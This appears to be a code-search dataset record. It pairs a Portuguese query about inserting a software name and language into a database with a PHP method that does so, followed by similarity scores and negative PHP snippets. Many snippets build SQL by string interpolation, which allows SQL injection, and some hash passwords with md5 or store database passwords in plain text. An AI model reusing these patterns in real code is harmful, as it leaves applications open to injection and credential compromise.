users_beforeForm($data,$db){\n\tif(empty($data->user['id'])){\n\t\tcommon_loadPhrases($data,$db,'users');\n\t\t$data->output['responseMessage']=\n\t\t\tsprintf($data->phrases['users']['requiresLogin'],$data->phrases['users']['updateProfile']);\n\t\treturn FALSE;\n\t}\n\t$data->output['editingField']=TRUE;\n}", "function edit(){\n\t\t\t$this->load->model('admin_model');\n\t\t\t//Lay id cua quan tri vien can chinh sua\n\t\t\t$id= $this->uri->rsegment('3');\n\t\t\t$id=intval($id);\n\t\t\t$this->load->library('form_validation');\n\t\t\t$this->load->helper('form');\n\t\t\t//Lay thong tin cua quan tri vien\n\t\t\t$info=$this->admin_model->get_info($id);\n\t\t\tif(!$info){\n\t\t\t\t$this->session->set_flashdata('message','Không tồn tại quản trị viên thêm mới !');\n\t\t\t\tredirect('/admin/admin/');\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t$this->data['info']=$info;\n\t\t\tif($this->input->post()){\n\t\t\t\t $this->form_validation->set_rules('name', 'Tên', 'required|min_length[8]');\n\t\t\t\t$this->form_validation->set_rules('username', 'Tài khoản đăng nhập', 'required|callback_check_username');\n\t\t\t\t$data['password']=$_POST[\"password\"];\n\t\t\t\tif(strlen($_POST[\"password\"])>=6){\n\t\t\t\t\t$this->form_validation->set_rules('password', 'Mật khẩu', 'required|min_length[6]');\n\t\t\t\t\t$this->form_validation->set_rules('re_password', 'Nhập lại mật khẩu', 'matches[password]');\n\t\t\t\t}\n\t\t\t\t/*if($this->form_validation->run()){\n\t\t\t\t\t//them vao csdl\n\t\t\t\t\t$name = $this->input->post('name');\n\t\t\t\t\t$username = $this->input->post('username');\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t$data = array(\n\t\t\t\t\t\t'name' -> $name,\n\t\t\t\t\t\t'username' -> $username,\n\t\t\t\t\t\t\n\t\t\t\t\t);\n\t\t\t\t\t//Neu thay doi mat khau thi gan du lieu\n\t\t\t\t\tif($password){\n\t\t\t\t\t\t$data['password']=md5($password);\n\t\t\t\t\t}\n\t\t\t\t\techo\"alex(data['name'])\";\n\t\t\t\t\tif($this->admin_model->update($id,$data)){\n\t\t\t\t\t\t//Tao ra thong bao \n\t\t\t\t\t\t$this->session->set_flashdata('message','Cập nhật dữ liệu thành công');\n\t\t\t\t\t\t//echo count($data);\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\telse{\n\t\t\t\t\t\t//echo'Khong them thanh cong';\n\t\t\t\t\t\t$this->session->set_flashdata('message','Không cập nhật được');\n\t\t\t\t\t}\n\t\t\t\t\t//chuyen den trang quan tri vien\n\t\t\t\t\tredirect('/admin/admin/');\n\t\t\t\t}*/\n\t\t\t\t\n\t\t\t\tif(strlen($_POST[\"name\"])>=8&&strlen($_POST[\"username\"])>0){\n\t\t\t\t\t$this->load->model('admin_model');\n\t\t\t\t\t$data = array();\n\t\t\t\t\t$data['username']=$_POST[\"username\"];\n\t\t\t\t\tif(strlen($_POST[\"password\"])>=6){\n\t\t\t\t\t\t\t$data['password']=md5($_POST[\"password\"]);\n\t\t\t\t\t}\n\t\t\t\t\tif(strlen($_POST[\"password\"])>0&&strlen($_POST[\"password\"])<6){\n\t\t\t\t\t\t\tredirect('/admin/admin/edit/'.$id);\n\t\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tif($_POST[\"password\"]!=$_POST[\"re_password\"]){\n\t\t\t\t\t\t\tredirect('/admin/admin/edit/'.$id);\n\t\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t$data['name']=$_POST[\"name\"];\n\t\t\t\t\tif($this->admin_model->update($id,$data)){\n\t\t\t\t\t\t//Tao ra thong bao \n\t\t\t\t\t\t$this->session->set_flashdata('message','Cập nhật dữ liệu thành công');\n\t\t\t\t\t\t//echo count($data);\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\telse{\n\t\t\t\t\t\t//echo'Khong them thanh cong';\n\t\t\t\t\t\t$this->session->set_flashdata('message','Không cập nhật được');\n\t\t\t\t\t}\n\t\t\t\t\t//chuyen den trang quan tri vien\n\t\t\t\t\tredirect('/admin/admin/');\n\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t$this->data['temp']='admin/admin/edit' ;\n\t\t\t$this->load->view('admin/main',$this->data);\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t}", "public function update_foto(){\n\t\tif($this->session->userdata('access')=='4'){\n\t\t\t$data['data']=$this->m_peserta->get_profile($id_peserta)->row_array();\n\t\t\t$username=$this->session->userdata('user');\n\t\t\t// $foto=$this->input->post('foto'); \n\t\t\t$config['upload_path'] = 'assets/images/users/';\n\t\t\t$config['allowed_types'] = 'gif|jpg|png';\n\t\t\t$config['file_name']\t\t\t= $id_peserta.\"_\".$username;\n\t\t\t$config['overwrite']\t\t\t= true;\n\t\t\t$config['max_size'] = 1000000;\n\t\t// $config['max_width'] = 1024;\n\t\t// $config['max_height'] = 768;\n\n\t\t\t$this->load->library('upload', $config);\n\n\t\t\tif ( ! $this->upload->do_upload('foto'))\n\t\t\t{\n\t\t\t\t\n\t\t\t\techo $this->session->set_tempdata('msg','<div class=\"alert alert-danger\" role=\"alert\"> Foto profil gagal diubah </div>', 2);\n\t\t\t\tredirect(\"peserta/edit_profile\");\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$up_foto = $this->upload->data();\n\t\t\t\t$up_foto = $up_foto['file_name'];\n\t\t\t\t$data = array('foto' => $up_foto, );\n\t\t\t\t$this->m_peserta->update_foto($id_peserta,$data);\n\n\t\t\t\t\n\t\t\t\techo $this->session->set_tempdata('msg','<div class=\"alert alert-success\" role=\"alert\"> Foto profil berhasil diubah </div>', 2);\n\t\t\t\tredirect(\"peserta/edit_profile\");\n\t\t\t}\n\n\t\t}else{\n\t\t\t$this->load->view('/maintenance/v_error_404');\n\t\t}\n\t}" ]
[ "0.67499727", "0.65727973", "0.65671974", "0.65655607", "0.6549211", "0.6503917", "0.64836097", "0.6458637", "0.64437735", "0.6435141", "0.6377324", "0.6363466", "0.63168085", "0.63055724", "0.6300102", "0.63000923", "0.62844026", "0.62833124", "0.6275165", "0.6257054", "0.6256679", "0.62565994", "0.6245803", "0.6235625", "0.62152356", "0.62097305", "0.62071407", "0.62033343", "0.62011194", "0.6194841", "0.61914915", "0.61913764", "0.61865795", "0.6185839", "0.61849624", "0.61786264", "0.6173715", "0.61728245", "0.61670476", "0.6166428", "0.6158766", "0.6156134", "0.6146813", "0.6141302", "0.61406624", "0.6134898", "0.61304045", "0.6117964", "0.611737", "0.61159927", "0.61145014", "0.6106538", "0.61057466", "0.61049813", "0.6102512", "0.6102298", "0.6100162", "0.60975146", "0.6096193", "0.609036", "0.6086706", "0.60863245", "0.60832286", "0.6082497", "0.6081166", "0.6077203", "0.60705966", "0.6064459", "0.6058713", "0.60515547", "0.604665", "0.6044611", "0.60438466", "0.60403055", "0.6030889", "0.6030021", "0.60298103", "0.6028852", "0.6022689", "0.60041577", "0.5994892", "0.5988314", "0.5987507", "0.5987149", "0.5982893", "0.5982369", "0.5978287", "0.5976237", "0.5974432", "0.59730726", "0.59689665", "0.5967078", "0.5966555", "0.59646326", "0.59631914", "0.5961327", "0.5960458", "0.5958538", "0.5955808", "0.59531474", "0.5948957" ]
0.0
-1
Serve para inserir nome, linguagem em uma tabela software, retorna o id desta insersao
public function inserir(Software $software){ //Primeiro Passo - Inserir os dados basicos do software: nome e linguagem, pegando o Ultimo Id inserido. $nome = $software->getNome(); $linguagem = $software->getLinguagem(); $insert = "INSERT into software(nome, linguagem) values('$nome', '$linguagem')"; if($this->conexao->query($insert)){ //echo 'Software Inserido Com sucesso! -'. $insert; $sgdb = $software->getBancoDeDados()->getSistemaGerenciadorDeBancoDeDados(); $host = $software->getBancoDeDados()->getHost(); $pass = $software->getBancoDeDados()->getPass(); $nomeDoBanco = $software->getBancoDeDados()->getNomeDoBanco(); $idDoSoftware = $this->conexao->lastInsertId(); //Segundo Passo - Inserir dados do BancoDeDados $insert2 = "INSERT into banco_de_dados (nome_do_banco, sistema_gerenciador_de_banco, host, pass, software_id_software) values('$nomeDoBanco', '$sgdb', '$host', '$pass', $idDoSoftware)"; if($this->conexao->query($insert2)){ //echo '<br>Dados do banco inseridos com sucesso! '. $insert2; //Terceiro Passo - Retornar o ultimo ID do software inserido para quem fez a insersão. return $idDoSoftware; }else{ //echo $insert2; echo 'Erro ao tentar inserir dados referente ao banco'; return 0; } } else { echo 'Erro ao tentar inserir software'. $insert; return 0; } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function inserisci_comune($nome_comune=\"\"){\n\t$db = new db(DB_USER,DB_PASSWORD,DB_NAME,DB_HOST);\n\t$nome_comune= sistemaTesto($nome_comune);\n\t$q=\"INSERT INTO comune (id_comune, nome) VALUES (null,'$nome_comune')\";\n\t$r=$db->query($q);\n\t$id=mysql_insert_id();\n\treturn $id;\n}", "function EmpresaInsert($Nombre) {\r\n\tglobal $Cfg;\r\n\r\n\t$sql = \"insert $Cfg[SqlPrefix]empresas set\r\n\t\tNombre = '$Nombre'\";\r\n\r\n\tDbExecuteUpdate($sql);\r\n\r\n\treturn DbLastId();\r\n}", "function inserisci_provincia($nome_provincia=\"\"){\n\t$db = new db(DB_USER,DB_PASSWORD,DB_NAME,DB_HOST);\n\t$nome_provincia= sistemaTesto($nome_provincia);\n\t$q=\"INSERT INTO provincia (id_provincia, nome) VALUES (null,'$nome_provincia')\";\n\t$r=$db->query($q);\n\t$id=mysql_insert_id();\n\treturn $id;\n}", "public function inserir(){\r\n\t\tif(!$this->_validarCampos())\r\n\t\t\t// levantando a excessao CamposObrigatorios //\r\n\t\t\tthrow new CamposObrigatorios();\r\n\t\t\r\n\t\tif($this->_testarServicoExiste($this->getNome()))\r\n\t\t\t// levanto a excessao//\r\n\t\t\tthrow new Exception(\"Serviço já cadastrado en nossa base de dados\");\r\n\t\t\r\n\t\t// recuperando a instancia da classe de acesso a dados //\r\n\t\t$instancia = ServicoDAO::getInstancia();\r\n\t\t// retornando o Usuario //\r\n\t\treturn $servico = $instancia->inserir($this);\r\n\t}", "public function insert($software){\r\n $idSoftware=$software->getIdSoftware();\n$equipo_idEquipo=$software->getEquipo_idEquipo();\n$tipo_Software_idTipo_Software=$software->getTipo_Software_idTipo_Software();\n$fecha_vencimiento=$software->getFecha_vencimiento();\n$version=$software->getVersion();\n$nombre=$software->getNombre();\n\r\n try {\r\n $sql= \"INSERT INTO `software`( `idSoftware`, `Equipo_idEquipo`, `Tipo_Software_idTipo_Software`, `fecha_vencimiento`, `version`, `nombre`)\"\r\n .\"VALUES ('$idSoftware','$equipo_idEquipo','$tipo_Software_idTipo_Software','$fecha_vencimiento','$version','$nombre')\";\r\n return $this->insertarConsulta($sql);\r\n } catch (SQLException $e) {\r\n throw new Exception('Primary key is null');\r\n }\r\n }", "function inserisci_citta($nome_citta=\"\"){\n\t$db = new db(DB_USER,DB_PASSWORD,DB_NAME,DB_HOST);\n\t$nome_citta= sistemaTesto($nome_citta);\n\t$q=\"INSERT INTO citta (id_citta, nome) VALUES (null,'$nome_citta')\";\n\t$r=$db->queryInsert($q);\n\t$id_citta=mysql_insert_id();\n\treturn $id_citta;\n}", "function altaProducte($nom, $descripcio, $preu, $idUsuari){\n $conn=connexioBD();\n $sql=\"INSERT INTO productes (nom, descripcio, preu, usuari_id) VALUES ('$nom', '$descripcio', '$preu', $idUsuari)\";\n if (!$resultado =$conn->query($sql)){\n die(\"Error al darte de alta\".$conn->error);\n }else{\n $idProducte=$conn->insert_id;\n return $idProducte;\n }\n $conn->close();\n}", "function AgenteInsert($Nombre, $Contacto, $Notas, $NombreArchivo, $Uuid, $IdInmobiliaria) {\r\n\tglobal $Cfg;\r\n\r\n\t$sql = \"insert $Cfg[SqlPrefix]agentes set\r\n\t\tNombre = '$Nombre',\r\n\t\tContacto = '$Contacto',\r\n\t\tNotas = '$Notas',\r\n\t\tNombreArchivo = '$NombreArchivo',\r\n\t\tUuid = '$Uuid',\r\n\t\tIdInmobiliaria = $IdInmobiliaria\";\r\n\r\n\tDbExecuteUpdate($sql);\r\n\r\n\treturn DbLastId();\r\n}", "function insertName($name, $unformat_name, $pdo)\n{\n $sql_query = \"INSERT INTO names_app (id, name, unformat_name) VALUES (?,?,?)\";\n $gsent = $pdo->prepare($sql_query);\n $gsent->execute(array(NULL, $name, $unformat_name));\n\n //redirecciona a index.php\n header('location:index.php');\n}", "public function insert()\n {\n $db = $this->getDatabase();\n $sql = \"INSERT INTO \" . $this->getTable() . \" (name) VALUES (:name)\";\n $stm = $db->prepare($sql);\n $stm->bindValue(':name', $this->getName());\n $stm->execute();\n $stm->fetch(\\PDO::FETCH_ASSOC);\n\n return $db->lastInsertId();\n }", "public function ingresarEmpleadoSinID(){\n $conexion = new Conexion;\n $con = new mysqli($conexion->servername, $conexion->username, $conexion->password, $conexion->dbname);\n $sql = \"INSERT INTO empleado (rut, nombre, password, categoria, estado ) VALUES ('\".$this->rut.\"', '\".$this->nombre.\"','\".$this->password.\"', '\".$this->categoria.\"', 1)\";\n if ($con->connect_error) {\n die(\"Conexión fallida: \" . $con->connect_error);\n } \n if ($con->query($sql) === TRUE) {\n echo \"Empleado ingresada correctamente.\";\n } else {\n echo \"Error: \" . $sql . \"<br>\" . $con->error;\n }\n $con->close();\n }", "function add_shipto($params){\n $this->company_db->insert('tbl_shipto', $params);\n return $this->company_db->insert_id();\n }", "public function insert($cliente){\r\n\t\t$sql = 'INSERT INTO clientes (nome, sobrenome, email, senha, ativo) VALUES (?, ?, ?, ?, ?)';\r\n\t\t$sqlQuery = new SqlQuery($sql);\r\n\t\t\n\t\t$sqlQuery->set($cliente->nome);\n\t\t$sqlQuery->set($cliente->sobrenome);\n\t\t$sqlQuery->set($cliente->email);\n\t\t$sqlQuery->set($cliente->senha);\n\t\t$sqlQuery->setNumber($cliente->ativo);\n\r\n\t\t$id = $this->executeInsert($sqlQuery);\t\r\n\t\t$cliente->id = $id;\r\n\t\treturn $id;\r\n\t}", "function inserirAgencia(){\n\n $banco = abrirBanco();\n //declarando as variáveis usadas na inserção dos dados\n $nomeAgencia = $_POST[\"nomeAgencia\"];\n $cidadeAgencia = $_POST[\"cidadeAgencia\"];\n\n //a consulta sql\n $sql = \"INSERT INTO Agencias(nomeAgencia,cidadeAgencia) VALUES ('$nomeAgencia','$cidadeAgencia')\";\n \n //executando a inclusão\n $banco->query($sql);\n //fechando a conexao com o banco\n $banco->close();\n voltarIndex();\n\n }", "public function saveEntidad(){\n\t\t$conexion = new Database();\n if ($this->codigo){\n $query = sprintf('UPDATE agenda_entidades SET entidad = \"%s\" WHERE entidad_id = %d',\n $this->entidad,\n $this->codigo);\n $rows = $conexion->exec( $query );\n }\n else{\n $query = sprintf('INSERT INTO agenda_entidades(entidad) VALUES (\"%s\")',\n $this->usuario);\n\t\t\t$rows = $conexion->exec( $query );\n $this->codigo = $conexion->lastInsertId();\n }\n }", "function inserisci_tipo_immobile($nome_immobile=\"\"){\n\t$db = new db(DB_USER,DB_PASSWORD,DB_NAME,DB_HOST);\n\t$nome_immobile= sistemaTesto($nome_immobile);\n\t$q=\"INSERT INTO tipo_immobile (id_tipo_immobile, nome) VALUES (null,'$nome_immobile')\";\n\t$r=$db->query($q);\n\t$id=mysql_insert_id();\n\treturn $id;\n}", "function addCuisine($name)\n {\n // 1. Connect to the database.\n $link = connect();\n\n // 2. Generate a query and prepare it for data insertion\n // using the mysqli library; this takes care of any\n // potential hacking (SQL Injection).\n $stmt = mysqli_prepare($link, \"\n INSERT INTO cuisine\n (name)\n VALUES\n (?)\n \");\n\n // 3. Bind the parameters to ensure that strings and numbers\n // will be escaped to avoid errors in PHP code.\n mysqli_stmt_bind_param($stmt, 's',\n $name # string\n );\n\n // 4. Execute the statement.\n mysqli_stmt_execute($stmt);\n\n // 5. Disconnect from the database.\n disconnect($link);\n\n // 6. If the query worked, we should have a new primary key ID.\n return mysqli_stmt_insert_id($stmt);\n }", "function save()\r\n {\r\n $GLOBALS['DB']->exec(\"INSERT INTO inventory_items (name) VALUES ('{$this->getName()}')\");\r\n $this->id = $GLOBALS['DB']->lastInsertId();\r\n }", "function insertarMercaderias($nombre) {\r\n$sql = \"insert into tbmercaderias(idmercaderia,nombre)\r\nvalues ('','\".$nombre.\"')\";\r\n$res = $this->query($sql,1);\r\nreturn $res;\r\n}", "public function inserir()\n {\n }", "function save_servicio($servicio)\n {\n $this->db->insert(\"servicio\", $servicio);\n return $this->db->insert_id();\n }", "function load_id(){\r\n $db = new Database();\r\n $sql = \"select * from \" . Interest::TABLE_NAME . \" where name=:name\";\r\n $stm = $db->pdo->prepare($sql);\r\n $stm->bindParam(':name', $this->name);\r\n $stm->execute();\r\n if ($stm->rowCount() > 0){\r\n $row = $stm->fetch();\r\n $this->id = $row[\"id\"];\r\n }\r\n else{\r\n $this->save();\r\n $this->id = $db->pdo->lastInsertId();\r\n }\r\n }", "public function mostrar_insertar() {\r\n\t\t\t$this -> pantalla_edicion('insertar'); \r\n\t\t }", "function insereCliente($nome, $senha, $email){\r\n \r\n\r\n \r\n //Abre conexao com banco de dados\r\n $conexao = new mysqli(DB_HOST, DB_USER, DB_PASS, DB_NAME, DB_PORT);\r\n $sucesso = false;\r\n\r\n //remove codigo html ou javascript\r\n //$nome = $this->conexao->real_scape_string(strip_tags($nome, ENT_QUOTES));\r\n //$senha = $this->conexao->real_scape_string(strip_tags($senha, ENT_QUOTES));\r\n //$email = $this->conexao->real_scape_string(strip_tags($email, ENT_QUOTES));\r\n \r\n if (!$conexao->set_charset(\"utf8\")) {\r\n echo $conexao->error;\r\n }\r\n \r\n //Se a conexão com o banco for bem sucedida\r\n if (!$conexao->connect_errno) {\r\n\r\n $sql = \"INSERT INTO cliente \r\n (nomecliente, senhacliente, emailcliente)\r\n VALUES('\" \r\n .$nome \r\n .\"', '\" \r\n .$senha \r\n .\"', '\" \r\n .$email\r\n .\"');\";\r\n \r\n $exec = $conexao->query($sql);\r\n\r\n if($exec)\r\n $sucesso = true;\r\n \r\n mysqli_close($conexao);\r\n }\r\n else{\r\n echo \"<h4 class='error'> Erro: \"\r\n . $conexao->connect_errno\r\n .\"</h4>\";\r\n }\r\n return $sucesso;\r\n }", "function ZonaInsert($Nombre, $IdZonaPadre) {\r\n\tglobal $Cfg;\r\n\r\n\t$sql = \"insert $Cfg[SqlPrefix]zonas set\r\n\t\tNombre = '$Nombre',\r\n\t\tIdZonaPadre = $IdZonaPadre\";\r\n\r\n\tDbExecuteUpdate($sql);\r\n\r\n\treturn DbLastId();\r\n}", "function insert() {\n\t\t$insert = \"INSERT INTO servicios(nombre_servicio, estado_servicio, descripcion, trabajador_id, fecha_creacion,fecha_modificacion , cliente_id, sucursal_id) VALUES(\n\t\t\t\t\n\t\t\t\t'\".$this->nombre_servicio.\"',\n\t\t\t\t'\".$this->estado_servicio.\"',\n\t\t\t\t'\".$this->descripcion.\"',\n\t\t\t\t'\".$this->trabajador_id.\"',\n\t\t\t\t'\".$this->fecha_creacion.\"',\n\t\t\t\t'\".$this->fecha_modificacion.\"',\n\t\t\t\t'\".$this->cliente_id.\"',\n\t\t\t\t'\".$this->sucursal_id.\"');\";\n\t\t\n\t\treturn $insert;\n\t\n\t}", "public function insert(){\n\t\tif(!mysql_query(\"INSERT INTO $this->tabla (nombre) VALUES ('$this->nombre')\")){\n\t\t\tthrow new Exception('Error insertando renglón');\n\t\t}\n\t}", "public function addRecordInDB($nome, $id_luogo){\r\n include_once './db_functions.php';\r\n $db = new DB_Functions();\r\n //Escaping\r\n $nome = DB_Functions::esc($nome);\r\n $id_luogo = DB_Functions::esc($id_luogo);\r\n\r\n //inserimento nuova SEDE\r\n $query = \"INSERT INTO SEDE (NOME, ID_LUOGO)\r\n\t VALUES ($nome, $id_luogo)\";\r\n $resQuery1 = $db->executeQuery($query);\r\n\r\n // Se la query ha esito positivo\r\n if ($resQuery1[\"state\"]) {\r\n //Salva valore ID del record creato\r\n $query = \"SELECT max(ID_SEDE) FROM SEDE;\";\r\n $resQuery2 = $db->executeQuery($query);\r\n $this->id_sede = $resQuery2[\"response\"][0][0];\r\n $this->nome = $nome;\r\n $this->id_luogo = $id_luogo;\r\n }\r\n return $resQuery1;\r\n }", "function createIngrediente($preco,$qtd_disponivel,$nome){\n if( $this->getIngredienteID($nome)){\n return false;\n }\n\n $query = \"INSERT INTO $this->ingrediente\n ($this->preco, $this->qtd_disponivel, $this->nome)\n values ('$preco', '$qtd_disponivel', '$nome')\";\n\n //Insert ingrediente into database\n if ( $this->dataBase->executeQuery($query) )\n //Fetch ingrediente id from tamanho\n $this->setingredienteID ($nome);\n else\n return false;\n\n return $this->id; // success\n }", "public function inserir($nome, $email, $endereco, $bairro, $cep, $cpf, $fone) {\n\n //$nome = $_POST[\"txt_nome\"]; // assim já pega os dados mas\n // por questão de segurança recomenda-se usar strip_tags para quebrar as tags e ficar mais seguro\n // usa-se o issset para verificar se o dado existe, senão retorna null\n $nome = isset($_POST[\"txt_nome\"]) ? strip_tags(filter_input(INPUT_POST, \"txt_nome\")) : NULL; // usado para a edição e inserção do cliente\n $email = isset($_POST[\"txt_email\"]) ? strip_tags(filter_input(INPUT_POST, \"txt_email\")) : NULL; // usado para a edição e inserção do cliente\n $endereco = isset($_POST[\"txt_endereco\"]) ? strip_tags(filter_input(INPUT_POST, \"txt_endereco\")) : NULL; // usado para a edição e inserção do cliente\n $bairro = isset($_POST[\"txt_bairro\"]) ? strip_tags(filter_input(INPUT_POST, \"txt_bairro\")) : NULL; // usado para a edição e inserção do cliente\n $cep = isset($_POST[\"txt_cep\"]) ? strip_tags(filter_input(INPUT_POST, \"txt_cep\")) : NULL; // usado para a edição e inserção do cliente\n $cpf = isset($_POST[\"txt_cpf\"]) ? strip_tags(filter_input(INPUT_POST, \"txt_cpf\")) : NULL; // usado para a edição e inserção do cliente\n $fone = isset($_POST[\"txt_fone\"]) ? strip_tags(filter_input(INPUT_POST, \"txt_fone\")) : NULL; // usado para a edição e inserção do cliente\n\n $sql = \"INSERT INTO cliente SET nome = :nome, email = :email, endereco = :endereco, bairro = :bairro, cep = :cep, cpf = :cpf, fone = :fone\";\n $qry = $this->db->prepare($sql); // prepare para os dados externos\n $qry->bindValue(\":nome\", $nome); // comando para inserir\n $qry->bindValue(\":email\", $email); // comando para inserir\n $qry->bindValue(\":endereco\", $endereco); // comando para inserir\n $qry->bindValue(\":bairro\", $bairro); // comando para inserir\n $qry->bindValue(\":cep\", $cep); // comando para inserir\n $qry->bindValue(\":cpf\", $cpf); // comando para inserir\n $qry->bindValue(\":fone\", $fone); // comando para inserir\n $qry->execute(); // comando para executar\n\n return $this->db->lastInsertId(); // retorna o id do ultimo registro inserido\n }", "private function inserirUnidade()\n {\n $cadUnidade = new \\App\\adms\\Models\\helper\\AdmsCreate;\n $cadUnidade->exeCreate(\"adms_unidade_policial\", $this->Dados);\n if ($cadUnidade->getResultado()) {\n $_SESSION['msg'] = \"<div class='alert alert-success'>Unidade cadastrada com sucesso!</div>\";\n $this->Resultado = true;\n } else {\n $_SESSION['msg'] = \"<div class='alert alert-danger'>Erro: A Unidade não foi cadastrada!</div>\";\n $this->Resultado = false;\n }\n }", "function writeGenToDb($mysqli, $gen, $genTable) {\n\t$query = \"insert into $genTable ( `Name`) values( '$gen' )\";\n\t//Auto-Inkrement ist an.\n\tif ($result = $mysqli -> query($query)) {\n\t\t$id = $mysqli -> insert_id;\n\t\tsetStatus(\"Neue ID: \" . $id . \"\\n\");\n\t} else {\n\t\tsetStatus(\"Fehler beim Einfügen in die Datenbank.\\nQuery: \" . $query . \"\\n\" . $mysqli -> error . \"\\n\");\n\t}\n\t$mysqli -> close();\n\treturn $id;\n}", "public function GuardarEmpleado()\n {\n //Creo la conexion a la DB.\n $objetoAccesoDato = AccesoDatos::dameUnObjetoAcceso();\n\n //Creo la consulta INSERT.\n $consulta = $objetoAccesoDato->RetornarConsulta(\"INSERT into empleado (nombre,turno,tipo)values('$this->nombre','$this->tipo','$this->turno')\");\n\n //Ejecuto la consulta.\n $consulta->execute();\n\n //Guardo su ID.\n $this->id = $objetoAccesoDato->RetornarUltimoIdInsertado();\n\n //Retorno\n return $this->id;\n }", "function inserir() {\n\t\t$this->sql = mysql_query(\"INSERT INTO suporte (user_cad, data_cad, id_regiao, exibicao, tipo, prioridade, assunto, mensagem, arquivo, status, status_reg,suporte_pagina)\n\t\t\t\t\t VALUES\t('$this->id_user_cad ','$this->data_cad','$this->id_regiao', '$this->exibicao', '$this->tipo','$this->prioridade', '$this->assunto', '$this->menssagem', '$this->tipo_arquivo','1','1','$this->pagina');\") or die(mysql_error());\n\t\t\t\t\t \n\t\t\t\t\t \n\t\t\t\n\t\t}", "function InsertID($table)\n {\n foreach ($this->tabelas as $id => $tab)\n {\n if ($tab[\"nome\"]==$table)\n {\n $id2 = $id;\n if (substr($id, 0, 4)==\"tbl_\")\n {\n $id2 = substr($id, 4);\n }\n $sql = \"SELECT MAX(\".$tab[\"colunas\"][\"cod_\".$id2].\") as cod FROM \".$table;\n $this->con->SetFetchMode(ADODB_FETCH_ASSOC);\n $this->result=$this->con->Execute($sql);\n return $this->result->fields[\"cod\"];\n }\n }\n return false;\n// xd($table);\n// return $this->con->insert_Id();\n// $table2 = $table;\n// if (!($table == \"index_word\")){\n// $arr_temp = explode(\"_\", $table);\n// if (sizeof($arr_temp)>=2) $table = $arr_temp[(sizeof($arr_temp)-1)];\n// } \t\t\n// $sql = \"select max(cod_\".$table.\") as cod from \".$table2;\n// $this->con->SetFetchMode(ADODB_FETCH_ASSOC);\n// $this->result=$this->con->Execute($sql);\n// return $this->result->fields[\"cod\"];\n }", "public function insert($tarConvenio);", "function insertProducer($conn, $name) {\n $query = \"INSERT INTO producer (producer_name) \" \n . \"VALUES ('${name}')\";\n $result = mysqli_query($conn, $query);\n if ($result) {\n return mysqli_insert_id($conn);\n } else {\n return 0;\n }\n }", "public function addRecordInDB($nome, $nome_icona, $nome_immagine, $quantita, $id_sede){\r\n include_once './db_functions.php';\r\n $db = new DB_Functions();\r\n //Escaping\r\n $nome = DB_Functions::esc($nome);\r\n $nome_icona = DB_Functions::esc($nome_icona);\r\n $nome_immagine = DB_Functions::esc($nome_immagine);\r\n $quantita = DB_Functions::esc($quantita);\r\n $id_sede = DB_Functions::esc($id_sede);\r\n\r\n //inserimento nuova ENTITA\r\n $query = \"INSERT INTO ENTITA (NOME, NOME_ICONA, NOME_IMMAGINE, QUANTITA, ID_SEDE)\r\n\t VALUES ($nome, $nome_icona, $nome_immagine, $id_sede)\";\r\n $resQuery1 = $db->executeQuery($query);\r\n\r\n // Se la query ha esito positivo\r\n if ($resQuery1[\"state\"]) {\r\n //Salva valore ID del record creato\r\n $query = \"SELECT max(ID_ENTITA) FROM ENTITA;\";\r\n $resQuery2 = $db->executeQuery($query);\r\n $this->id_entita = $resQuery2[\"response\"][0][0];\r\n $this->nome = $nome;\r\n $this->nome_icona = $nome_icona;\r\n $this->nome_immagine = $nome_immagine;\r\n $this->quantita = $quantita;\r\n $this->id_sede = $id_sede;\r\n }\r\n return $resQuery1;\r\n }", "function insertProduit($db,$model,$produitEvident,$marque,$descriptif,$prix){\n\n $sql=\"INSERT INTO produits (modele,produit_evident,marque,descriptif,prix) VALUES ('$model','$produitEvident','$marque','$descriptif','$prix');\";\n $request = mysqli_query($db,$sql) or die(mysqli_error($db));\n // si le produit est bien inséré, on renvoie son ID\n return ($request)? mysqli_insert_id($db) :false;\n}", "public function add() \n { // metodo add, complementar\n $str = \"insert into \".self::$tablename.\"(nitHotel, idCiudad, nomHotel, dirHotel, telHotel1, telHotel2, correoHotel, tipoHotel, Administrador, idRedes, aforo, tipoHabitaciones, status)\";\n $str.= \" values ('$this->nitHotel', $this->idCiudad, '$this->nomHotel', '$this->dirHotel', '$this->telHotel1', '$this->telHotel2', '$this->correoHotel', $this->tipoHotel, '$this->Administrador', $this->idRedes, $this->aforo, $this->tipoHabitaciones, $this->status);\";\n }", "public function add_titulo(){\n\t\t$this->autenticate(); //verifica si el usuario este ingresado al sistema\n\t\t$titulo = \"'\".$_POST['titulo'].\"'\";\n\t\t$year = \"'\".$_POST['year'].\"'\";\n\t\t$institucion = \"'\".$_POST['universidad'].\"'\";\n\t\t$grado = \"'\".$_POST['grado'].\"'\";\n\t\t$administrativos_id = $_POST['administrativos_id'];\n\t\trequire_once(\"../app/models/administrativo.php\");//conexion entre los controladores\n\t\t$administrativo=new Administrativo();//crea una instancia\n\t\t$administrativo->new_titulo($titulo,$year,$institucion,$grado,$administrativos_id); //crea el titulo en la base de datos\n\t\t$administrativo = strval($administrativos_id);//convierte el administrativo_id de entero a string\n\t\theader(\"Location: http://localhost:8000/administrativos/show/$administrativos_id\");\n\t\texit;\n\t\t$this->view('administrativos/index', []);\n\t}", "public function insert($datos_){\n $id=$datos_->getId();\n$nombre_proyecto=$datos_->getNombre_proyecto();\n$nombre_actividad=$datos_->getNombre_actividad();\n$modalidad_participacion=$datos_->getModalidad_participacion();\n$responsable=$datos_->getResponsable();\n$fecha_realizacion=$datos_->getFecha_realizacion();\n$producto=$datos_->getProducto();\n$semillero_id=$datos_->getSemillero_id()->getId();\n\n try {\n $sql= \"INSERT INTO `datos_`( `id`, `nombre_proyecto`, `nombre_actividad`, `modalidad_participacion`, `responsable`, `fecha_realizacion`, `producto`, `semillero_id`)\"\n .\"VALUES 